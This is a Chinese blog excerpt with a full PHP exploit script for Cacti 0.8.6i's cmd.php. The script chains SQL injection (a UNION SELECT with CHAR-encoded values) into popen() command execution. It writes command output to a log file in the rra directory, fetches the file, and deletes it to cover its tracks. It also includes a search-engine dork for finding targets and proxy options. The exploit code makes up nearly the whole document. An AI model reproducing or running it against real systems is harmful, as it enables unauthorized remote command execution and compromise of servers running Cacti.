cacti cmd.php,Cacti cmd.php脚本远程SQL注入漏洞

该博客详细解析了一段PHP代码,该代码针对Cacti 0.8.6i版本的cmd.php文件存在popen注入漏洞进行利用。通过构造特定的GET请求,可以执行远程命令并将结果保存到服务器的rra目录下,然后读取并展示结果。博客还提到了如何通过命令行参数指定目标服务器、路径、端口和代理。最后,代码会删除利用过程中创建的日志文件。
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<?php

print_r('

--------------------------------------------------------------------------------

Cacti <= 0.8.6i "cmd.php" popen() injection

by rgod

dork: intitle:"login to cacti"

mail: retrog at alice dot it

site: http://retrogod.altervista.org

--------------------------------------------------------------------------------

');

if ($argc<4) {

print_r('

--------------------------------------------------------------------------------

Usage: php '.$argv[0].' host path cmd OPTIONS

host: target server (ip/hostname)

path: path to Cacti

Options:

-p[port]: specify a port other than 80

-P[ip:port]: specify a proxy

Example:

php '.$argv[0].' localhost /cacti/ ls -la -P1.1.1.1:80

php '.$argv[0].' localhost / cat ./include/config.php -p81

--------------------------------------------------------------------------------

');

die;

}

error_reporting(0);

ini_set("max_execution_time",0);

ini_set("default_socket_timeout",5);

function quick_dump($string)

{

$result='';$exa='';$cont=0;

for ($i=0; $i<=strlen($string)-1; $i++)

{

if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))

{$result.=" .";}

else

{$result.=" ".$string[$i];}

if (strlen(dechex(ord($string[$i])))==2)

{$exa.=" ".dechex(ord($string[$i]));}

else

{$exa.=" 0".dechex(ord($string[$i]));}

$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}

}

return $exa."\r\n".$result;

}

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacketii($packet)

{

global $proxy, $host, $port, $html, $proxy_regex;

if ($proxy=='') {

$ock=fsockopen(gethostbyname($host),$port);

if (!$ock) {

echo 'No response from '.$host.':'.$port; die;

}

}

else {

$c = preg_match($proxy_regex,$proxy);

if (!$c) {

echo 'Not a valid proxy...';die;

}

$parts=explode(':',$proxy);

echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";

$ock=fsockopen($parts[0],$parts[1]);

if (!$ock) {

echo 'No response from proxy...';die;

}

}

fputs($ock,$packet);

if ($proxy=='') {

$html='';

while (!feof($ock)) {

$html.=fgets($ock);

}

}

else {

$html='';

while ((!feof($ock)) or

(!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {

$html.=fread($ock,1);

}

}

fclose($ock);

}

$host=$argv[1];

$path=$argv[2];

$port=80;

$proxy="";

$cmd="";

for ($i=3; $i<$argc; $i++){

$temp=$argv[$i][0].$argv[$i][1];

if (($temp<>"-p")

and ($temp<>"-P")

) {$cmd.=" ".$argv[$i];}

if ($temp=="-p")

{

$port=str_replace("-p","",$argv[$i]);

}

if ($temp=="-P")

{

$proxy=str_replace("-P","",$argv[$i]);

}

}

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error...

check the path!'; die;}

if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

function my_encode($my_string)

{

$encoded="CHAR(";

for ($k=0; $k<=strlen($my_string)-1; $k++)

{

$encoded.=ord($my_string[$k]);

if ($k==strlen($my_string)-1) {$encoded.=")";}

else {$encoded.=",";}

}

return $encoded;

}

/*

software site: http://cacti.net/

the cmd.php is not properly protected:

...

if (!isset($_SERVER["argv"][0])) {

die("<br><strong>This script is only meant to run at the command

line.</strong>");

}

...

if register_argc_argv = on, you can have web access, poc:

http://[target]/[path]/cmd.php?1

now you can inject sql commands, ex. in this query:

...

$polling_items = db_fetch_assoc("SELECT * from

poller_item " .

"WHERE (host_id >= " .

$_SERVER["argv"][1] .

" and host_id <= " .

$_SERVER["argv"][2] . ") ORDER

by host_id");

...

and you can poison the $polling_items array that becomes like this:

Array

(

[0] => Array

(

[local_data_id] => 2

[poller_id] => 0

[host_id] => 1

[action] => 1

[hostname] => 127.0.0.1

[snmp_community] =>

[snmp_version] => 1

[snmp_username] =>

[snmp_password] =>

[snmp_port] => 161

[snmp_timeout] => 500

[rrd_name] => proc

[rrd_path] =>

[rrd_num] => 1

[rrd_step] => 300

[rrd_next_step] => 0

[arg1] => [your command]

[arg2] =>

[arg3] =>

)

)

$polling_items[arg1] is passed to a popen() call in /include/poller.php,

see exec_poll() function...

you do not have any output but you can redirect it to some file in /rra

or /log folder which is 'cactiuser''

*/

$command=my_encode($cmd." > ./rra/suntzu.log");

$h=my_encode("127.0.0.1");

$pr=my_encode("proc");

$sql="1111)/**/UNION/**/SELECT/**/2,0,1,1,$h,null,1,null,null,161,500,$pr,null,1,300,0,$command,null,null/**/FROM/**/host/*";

$packet ="GET ".$p."cmd.php?1+$sql+11111 HTTP/1.0\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Connection: Close\r\n\r\n";

sendpacketii($packet);

sleep(2);

$packet ="GET ".$p."rra/suntzu.log HTTP/1.0\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Connection: Close\r\n\r\n";

sendpacketii($packet);

echo $html;

$command=my_encode("rm ./rra/suntzu.log");

$sql="1111)/**/UNION/**/SELECT/**/2,0,1,1,$h,null,1,null,null,161,500,$pr,null,1,300,0,$command,null,null/**/FROM/**/host/*";

$packet ="GET ".$p."cmd.php?1+$sql+11111 HTTP/1.0\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Connection: Close\r\n\r\n";

sendpacketii($packet);

?>

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